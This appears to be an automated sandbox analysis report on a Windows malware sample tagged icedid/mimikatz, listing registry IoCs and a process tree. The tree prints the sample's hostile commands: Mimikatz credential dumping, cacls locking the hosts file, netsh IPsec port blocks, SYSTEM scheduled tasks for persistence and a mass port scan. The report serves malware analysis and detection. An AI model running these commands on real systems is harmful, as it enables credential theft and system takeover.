\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings gkzutth.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{28B0F41C-6965-4D06-B141-586443F88A98}\WpadNetworkName = "Network 3" gkzutth.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" flvstzhft.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{28B0F41C-6965-4D06-B141-586443F88A98} gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump flvstzhft.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs gkzutth.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix gkzutth.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software flvstzhft.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root gkzutth.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\9e-14-d3-72-3f-7b\WpadDetectedUrl gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople gkzutth.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation" netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump flvstzhft.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs gkzutth.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-2 = "Provides IPsec based enforcement for Network Access Protection" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-101 = "Provides Network Access Protection enforcement for EAP authenticated network connections, such as those used with 802.1X and VPN technologies." netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust gkzutth.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\9e-14-d3-72-3f-7b\WpadDecisionTime = 6092a0f6db8bda01 gkzutth.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1" gkzutth.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals flvstzhft.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\9e-14-d3-72-3f-7b\WpadDecisionTime = 00b217c0db8bda01 gkzutth.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-103 = "1.0" netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA gkzutth.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 gkzutth.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{28B0F41C-6965-4D06-B141-586443F88A98}\WpadDecisionReason = "1" gkzutth.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-102 = "1.0" netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs gkzutth.exe -
Modifies registry class 14 IoCs
Processes:
gkzutth.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\ gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile" gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile" gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile" gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile" gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile" gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile" gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile" gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ gkzutth.exe -
Processes:
gkzutth.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 gkzutth.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 gkzutth.exe -
Runs net.exe
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Runs ping.exe 1 TTPs 1 IoCs
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Suspicious behavior: CmdExeWriteProcessMemorySpam 2 IoCs
Processes:
gkzutth.exegkzutth.exepid process 1924 gkzutth.exe 3212 gkzutth.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
gkzutth.exepid process 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe -
Suspicious behavior: LoadsDriver 31 IoCs
Processes:
pid process 464 464 464 464 464 464 464 464 464 464 464 464 464 464 464 464 464 464 464 464 464 464 464 464 464 464 464 464 464 464 464 -
Suspicious behavior: RenamesItself 1 IoCs
Processes:
2024-04-11_70b2d62d7c3e0f6eaeb1db24720637b9_hacktools_icedid_mimikatz.exepid process 2924 2024-04-11_70b2d62d7c3e0f6eaeb1db24720637b9_hacktools_icedid_mimikatz.exe -
Suspicious use of AdjustPrivilegeToken 17 IoCs
Processes:
2024-04-11_70b2d62d7c3e0f6eaeb1db24720637b9_hacktools_icedid_mimikatz.exegkzutth.exegkzutth.exevfshost.exesvchost.exeflvstzhft.exetusert.exeflvstzhft.exeflvstzhft.exeflvstzhft.exeflvstzhft.exedescription pid process Token: SeDebugPrivilege 2924 2024-04-11_70b2d62d7c3e0f6eaeb1db24720637b9_hacktools_icedid_mimikatz.exe Token: SeDebugPrivilege 2572 gkzutth.exe Token: SeDebugPrivilege 2764 gkzutth.exe Token: SeDebugPrivilege 2012 vfshost.exe Token: SeAuditPrivilege 2692 svchost.exe Token: SeDebugPrivilege 952 flvstzhft.exe Token: SeShutdownPrivilege 952 flvstzhft.exe Token: SeLockMemoryPrivilege 1636 tusert.exe Token: SeLockMemoryPrivilege 1636 tusert.exe Token: SeDebugPrivilege 2108 flvstzhft.exe Token: SeShutdownPrivilege 2108 flvstzhft.exe Token: SeDebugPrivilege 2944 flvstzhft.exe Token: SeShutdownPrivilege 2944 flvstzhft.exe Token: SeDebugPrivilege 2164 flvstzhft.exe Token: SeShutdownPrivilege 2164 flvstzhft.exe Token: SeDebugPrivilege 2868 flvstzhft.exe Token: SeShutdownPrivilege 2868 flvstzhft.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
Processes:
2024-04-11_70b2d62d7c3e0f6eaeb1db24720637b9_hacktools_icedid_mimikatz.exegkzutth.exegkzutth.exexohudmc.exeooaaya.exegkzutth.exegkzutth.exepid process 2924 2024-04-11_70b2d62d7c3e0f6eaeb1db24720637b9_hacktools_icedid_mimikatz.exe 2924 2024-04-11_70b2d62d7c3e0f6eaeb1db24720637b9_hacktools_icedid_mimikatz.exe 2572 gkzutth.exe 2572 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 1316 xohudmc.exe 1576 ooaaya.exe 1924 gkzutth.exe 1924 gkzutth.exe 3212 gkzutth.exe 3212 gkzutth.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
2024-04-11_70b2d62d7c3e0f6eaeb1db24720637b9_hacktools_icedid_mimikatz.execmd.exegkzutth.execmd.execmd.exewpcap.exedescription pid process target process PID 2924 wrote to memory of 3012 2924 2024-04-11_70b2d62d7c3e0f6eaeb1db24720637b9_hacktools_icedid_mimikatz.exe cmd.exe PID 2924 wrote to memory of 3012 2924 2024-04-11_70b2d62d7c3e0f6eaeb1db24720637b9_hacktools_icedid_mimikatz.exe cmd.exe PID 2924 wrote to memory of 3012 2924 2024-04-11_70b2d62d7c3e0f6eaeb1db24720637b9_hacktools_icedid_mimikatz.exe cmd.exe PID 2924 wrote to memory of 3012 2924 2024-04-11_70b2d62d7c3e0f6eaeb1db24720637b9_hacktools_icedid_mimikatz.exe cmd.exe PID 3012 wrote to memory of 2524 3012 cmd.exe PING.EXE PID 3012 wrote to memory of 2524 3012 cmd.exe PING.EXE PID 3012 wrote to memory of 2524 3012 cmd.exe PING.EXE PID 3012 wrote to memory of 2524 3012 cmd.exe PING.EXE PID 3012 wrote to memory of 2572 3012 cmd.exe gkzutth.exe PID 3012 wrote to memory of 2572 3012 cmd.exe gkzutth.exe PID 3012 wrote to memory of 2572 3012 cmd.exe gkzutth.exe PID 3012 wrote to memory of 2572 3012 cmd.exe gkzutth.exe PID 2764 wrote to memory of 2564 2764 gkzutth.exe cmd.exe PID 2764 wrote to memory of 2564 2764 gkzutth.exe cmd.exe PID 2764 wrote to memory of 2564 2764 gkzutth.exe cmd.exe PID 2764 wrote to memory of 2564 2764 gkzutth.exe cmd.exe PID 2564 wrote to memory of 2468 2564 cmd.exe cmd.exe PID 2564 wrote to memory of 2468 2564 cmd.exe cmd.exe PID 2564 wrote to memory of 2468 2564 cmd.exe cmd.exe PID 2564 wrote to memory of 2468 2564 cmd.exe cmd.exe PID 2564 wrote to memory of 2772 2564 cmd.exe cacls.exe PID 2564 wrote to memory of 2772 2564 cmd.exe cacls.exe PID 2564 wrote to memory of 2772 2564 cmd.exe cacls.exe PID 2564 wrote to memory of 2772 2564 cmd.exe cacls.exe PID 2564 wrote to memory of 2676 2564 cmd.exe cmd.exe PID 2564 wrote to memory of 2676 2564 cmd.exe cmd.exe PID 2564 wrote to memory of 2676 2564 cmd.exe cmd.exe PID 2564 wrote to memory of 2676 2564 cmd.exe cmd.exe PID 2564 wrote to memory of 3016 2564 cmd.exe cacls.exe PID 2564 wrote to memory of 3016 2564 cmd.exe cacls.exe PID 2564 wrote to memory of 3016 2564 cmd.exe cacls.exe PID 2564 wrote to memory of 3016 2564 cmd.exe cacls.exe PID 2564 wrote to memory of 2716 2564 cmd.exe cmd.exe PID 2564 wrote to memory of 2716 2564 cmd.exe cmd.exe PID 2564 wrote to memory of 2716 2564 cmd.exe cmd.exe PID 2564 wrote to memory of 2716 2564 cmd.exe cmd.exe PID 2564 wrote to memory of 2480 2564 cmd.exe cacls.exe PID 2564 wrote to memory of 2480 2564 cmd.exe cacls.exe PID 2564 wrote to memory of 2480 2564 cmd.exe cacls.exe PID 2564 wrote to memory of 2480 2564 cmd.exe cacls.exe PID 2764 wrote to memory of 2444 2764 gkzutth.exe netsh.exe PID 2764 wrote to memory of 2444 2764 gkzutth.exe netsh.exe PID 2764 wrote to memory of 2444 2764 gkzutth.exe netsh.exe PID 2764 wrote to memory of 2444 2764 gkzutth.exe netsh.exe PID 2764 wrote to memory of 2476 2764 gkzutth.exe netsh.exe PID 2764 wrote to memory of 2476 2764 gkzutth.exe netsh.exe PID 2764 wrote to memory of 2476 2764 gkzutth.exe netsh.exe PID 2764 wrote to memory of 2476 2764 gkzutth.exe netsh.exe PID 2764 wrote to memory of 2412 2764 gkzutth.exe netsh.exe PID 2764 wrote to memory of 2412 2764 gkzutth.exe netsh.exe PID 2764 wrote to memory of 2412 2764 gkzutth.exe netsh.exe PID 2764 wrote to memory of 2412 2764 gkzutth.exe netsh.exe PID 2764 wrote to memory of 2948 2764 gkzutth.exe cmd.exe PID 2764 wrote to memory of 2948 2764 gkzutth.exe cmd.exe PID 2764 wrote to memory of 2948 2764 gkzutth.exe cmd.exe PID 2764 wrote to memory of 2948 2764 gkzutth.exe cmd.exe PID 2948 wrote to memory of 2148 2948 cmd.exe wpcap.exe PID 2948 wrote to memory of 2148 2948 cmd.exe wpcap.exe PID 2948 wrote to memory of 2148 2948 cmd.exe wpcap.exe PID 2948 wrote to memory of 2148 2948 cmd.exe wpcap.exe PID 2948 wrote to memory of 2148 2948 cmd.exe wpcap.exe PID 2948 wrote to memory of 2148 2948 cmd.exe wpcap.exe PID 2948 wrote to memory of 2148 2948 cmd.exe wpcap.exe PID 2148 wrote to memory of 1920 2148 wpcap.exe net.exe
Processes
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:332
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C:\Windows\TEMP\riuvilefa\tusert.exe"C:\Windows\TEMP\riuvilefa\tusert.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1636
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C:\Users\Admin\AppData\Local\Temp\2024-04-11_70b2d62d7c3e0f6eaeb1db24720637b9_hacktools_icedid_mimikatz.exe"C:\Users\Admin\AppData\Local\Temp\2024-04-11_70b2d62d7c3e0f6eaeb1db24720637b9_hacktools_icedid_mimikatz.exe"1⤵
- Drops file in Windows directory
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2924 -
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\isugpkis\gkzutth.exe2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3012 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:2524 -
C:\Windows\isugpkis\gkzutth.exeC:\Windows\isugpkis\gkzutth.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2572
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C:\Windows\isugpkis\gkzutth.exeC:\Windows\isugpkis\gkzutth.exe1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Sets file execution options in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2764 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵
- Suspicious use of WriteProcessMemory
PID:2564 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2468
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C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵PID:2772
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2676
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C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵PID:3016
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2716
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C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵PID:2480
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static del all2⤵
- Modifies data under HKEY_USERS
PID:2444 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add policy name=Bastards description=FuckingBastards2⤵
- Modifies data under HKEY_USERS
PID:2476 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filteraction name=BastardsList action=block2⤵
- Modifies data under HKEY_USERS
PID:2412 -
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\tjbrgizie\ptescsiac\wpcap.exe /S2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2948 -
C:\Windows\tjbrgizie\ptescsiac\wpcap.exeC:\Windows\tjbrgizie\ptescsiac\wpcap.exe /S3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2148 -
C:\Windows\SysWOW64\net.exenet stop "Boundary Meter"4⤵PID:1920
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Boundary Meter"5⤵PID:2632
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C:\Windows\SysWOW64\net.exenet stop "TrueSight Meter"4⤵PID:2040
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TrueSight Meter"5⤵PID:1964
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C:\Windows\SysWOW64\net.exenet stop npf4⤵PID:580
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop npf5⤵PID:772
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C:\Windows\SysWOW64\net.exenet start npf4⤵PID:2752
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf5⤵PID:928
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C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵PID:1976
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C:\Windows\SysWOW64\net.exenet start npf3⤵PID:1744
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵PID:1676
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C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵PID:1316
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C:\Windows\SysWOW64\net.exenet start npf3⤵PID:2204
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵PID:1244
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C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\tjbrgizie\ptescsiac\avpjtmhfs.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\tjbrgizie\ptescsiac\Scant.txt2⤵
- Loads dropped DLL
PID:2624 -
C:\Windows\tjbrgizie\ptescsiac\avpjtmhfs.exeC:\Windows\tjbrgizie\ptescsiac\avpjtmhfs.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\tjbrgizie\ptescsiac\Scant.txt3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1636 -
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\tjbrgizie\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\tjbrgizie\Corporate\log.txt2⤵
- Loads dropped DLL
- Drops file in Windows directory
PID:1784 -
C:\Windows\tjbrgizie\Corporate\vfshost.exeC:\Windows\tjbrgizie\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2012 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "esugmiafu" /ru system /tr "cmd /c C:\Windows\ime\gkzutth.exe"2⤵PID:692
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2872
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C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "esugmiafu" /ru system /tr "cmd /c C:\Windows\ime\gkzutth.exe"3⤵
- Creates scheduled task(s)
PID:1756 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "pkcbprhtk" /ru system /tr "cmd /c echo Y|cacls C:\Windows\isugpkis\gkzutth.exe /p everyone:F"2⤵PID:1648
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1736
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C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "pkcbprhtk" /ru system /tr "cmd /c echo Y|cacls C:\Windows\isugpkis\gkzutth.exe /p everyone:F"3⤵
- Creates scheduled task(s)
PID:2008 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "letzemreu" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\riuvilefa\tusert.exe /p everyone:F"2⤵PID:1876
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2144
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C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "letzemreu" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\riuvilefa\tusert.exe /p everyone:F"3⤵
- Creates scheduled task(s)
PID:880 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP2⤵
- Modifies data under HKEY_USERS
PID:2304 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP2⤵
- Modifies data under HKEY_USERS
PID:1624 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Modifies data under HKEY_USERS
PID:3048 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Modifies data under HKEY_USERS
PID:2300 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP2⤵PID:2880
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP2⤵PID:2680
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Modifies data under HKEY_USERS
PID:2504 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Modifies data under HKEY_USERS
PID:2004 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP2⤵PID:2644
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP2⤵
- Modifies data under HKEY_USERS
PID:2844 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵PID:2672
-
